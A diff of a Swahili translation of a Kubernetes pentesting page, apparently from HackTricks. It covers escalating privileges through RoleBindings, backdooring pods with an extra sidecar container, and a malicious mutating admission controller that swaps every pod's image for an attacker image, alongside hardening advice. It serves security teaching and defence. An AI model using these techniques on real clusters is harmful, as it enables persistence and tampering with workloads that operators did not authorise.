@@ Sheria inasema kwamba **mtumiaji anaweza tu kuunda au kubadilisha role ikiwa ana ### **Pata & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe au SA tofauti baadhi ya privileges ikiwa tayari huna.** +> **Kwa kweli, mbinu hii ilifanya kazi hapo awali, lakini kulingana na majaribio yangu haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu ya awali. Huwezi kuunda/kubadilisha rolebinding ili kujipa wewe mwenyewe au SA tofauti baadhi ya privileges ikiwa tayari huna.** Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha roles na akaunti ya huduma**. Ruhusa hii inaweza kupelekea kukuza privilege kwa sababu inaruhusu mtumiaji kuunganisha ruhusa za admin kwa akaunti ya huduma iliyovunjwa. @@ -569,55 +613,29 @@ Ruhusa ya kuunda Rolebindings inamruhusu mtumiaji **kuunganisha roles na akaunti Kwa kawaida hakuna usimbuaji katika mawasiliano kati ya pods. Uthibitishaji wa pamoja, wa pande mbili, kutoka pod hadi pod. -#### Unda programu ya proxy ya sidecar +#### Unda programu ya proxy ya sidecar -Unda yako .yaml -```bash -kubectl run app --image=bash --command -oyaml --dry-run=client > -- sh -c 'ping google.com' -``` -Hariri faili yako ya .yaml na ongeza mistari isiyo na maoni: +Kontena ya sidecar inajumuisha kuongeza **kontena ya pili (au zaidi) ndani ya pod**. + +Kwa mfano, ifuatayo ni sehemu ya usanidi wa pod yenye kontena 2: ```yaml -#apiVersion: v1 -#kind: Pod -#metadata: -# name: security-context-demo -#spec: -# securityContext: -# runAsUser: 1000 -# runAsGroup: 3000 -# fsGroup: 2000 -# volumes: -# - name: sec-ctx-vol -# emptyDir: {} -# containers: -# - name: sec-ctx-demo -# image: busybox -command: -[ -"sh", -"-c", -"apt update && apt install iptables -y && iptables -L && sleep 1h", -] -securityContext: -capabilities: -add: ["NET_ADMIN"] -# volumeMounts: -# - name: sec-ctx-vol -# mountPath: /data/demo -# securityContext: -# allowPrivilegeEscalation: true +spec: +containers: +- name: main-application +image: nginx +- name: sidecar-container +image: busybox +command: ["sh","-c",""] ``` -Tazama kumbukumbu za proxy: -```bash -kubectl logs app -C proxy -``` -More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +Kwa mfano, ili kuingiza backdoor kwenye pod iliyopo kwa kutumia kontena jipya unaweza kuongeza kontena jipya katika maelezo. Kumbuka kwamba unaweza **kutoa ruhusa zaidi** kwa kontena la pili ambazo la kwanza halitakuwa nazo. -### Malicious Admission Controller +Taarifa zaidi kwenye: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -An admission controller **intercepts requests to the Kubernetes API server** before the persistence of the object, but **after the request is authenticated** **and authorized**. +### Mdhibiti wa Kuingia Mbaya -If an attacker somehow manages to **inject a Mutationg Admission Controller**, he will be able to **modify already authenticated requests**. Being able to potentially privesc, and more usually persist in the cluster. +Mdhibiti wa kuingia **unakamata maombi kwa seva ya API ya Kubernetes** kabla ya kudumu kwa kitu, lakini **baada ya ombi kuthibitishwa** **na kuidhinishwa**. + +Ikiwa mshambuliaji kwa namna fulani anafanikiwa **kuingiza Mdhibiti wa Kuingia wa Mabadiliko**, ataweza **kubadilisha maombi ambayo tayari yameidhinishwa**. Kuwa na uwezo wa kuweza kujiinua, na kwa kawaida kudumu katika klasta. **Mfano kutoka** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -638,7 +656,7 @@ Kisha peleka pod mpya: kubectl run nginx --image nginx kubectl get po -w ``` -Wakati unaweza kuona kosa la `ErrImagePull`, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo: +Wakati unaweza kuona kosa la `ErrImagePull`, angalia jina la picha kwa moja ya maswali yafuatayo: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " @@ -647,9 +665,9 @@ kubectl describe po nginx | grep "Image: " Kama unavyoona katika picha hapo juu, tulijaribu kuendesha picha `nginx` lakini picha iliyotekelezwa mwishowe ni `rewanthtammana/malicious-image`. Nini kimetokea!!? -#### Technicalities +#### Technicalities -Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikishawishi matokeo yanayoonekana: +Script ya `./deploy.sh` inaanzisha mutating webhook admission controller, ambayo inabadilisha maombi kwa API ya Kubernetes kama ilivyoainishwa katika mistari yake ya usanidi, ikihusisha matokeo yaliyoshuhudiwa: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -674,11 +692,11 @@ The above snippet replaces the first container image in every pod with `rewantht ### **Kuteua Watumiaji kwa Uangalifu katika RoleBindings/ClusterRoleBindings** -- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji muhimu pekee wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na uondoe watumiaji wasiokuwa na umuhimu ili kudumisha usalama mkali. +- **Injini ya Uchaguzi**: Hakikisha kuwa watumiaji wanaohitajika tu wanajumuishwa katika RoleBindings au ClusterRoleBindings. Kagua mara kwa mara na kuondoa watumiaji wasiohusika ili kudumisha usalama mkali. -### **Majukumu Maalum ya Namespace Badala ya Majukumu ya Kiwango cha Klasta** +### **Majukumu Maalum ya Namespace Juu ya Majukumu ya Cluster-Wide** -- **Majukumu dhidi ya ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha klasta. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa. +- **Majukumu vs. ClusterRoles**: Prefer kutumia Majukumu na RoleBindings kwa ruhusa maalum za namespace badala ya ClusterRoles na ClusterRoleBindings, ambazo zinatumika kwa kiwango cha cluster. Njia hii inatoa udhibiti wa kina na inapunguza wigo wa ruhusa. ### **Tumia zana za kiotomatiki** @@ -699,5 +717,7 @@ https://github.com/aquasecurity/kube-bench - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions) - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) +- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) +- [**https://kubenomicon.com/**](https://kubenomicon.com/) {{#include ../../../banners/hacktricks-training.md}}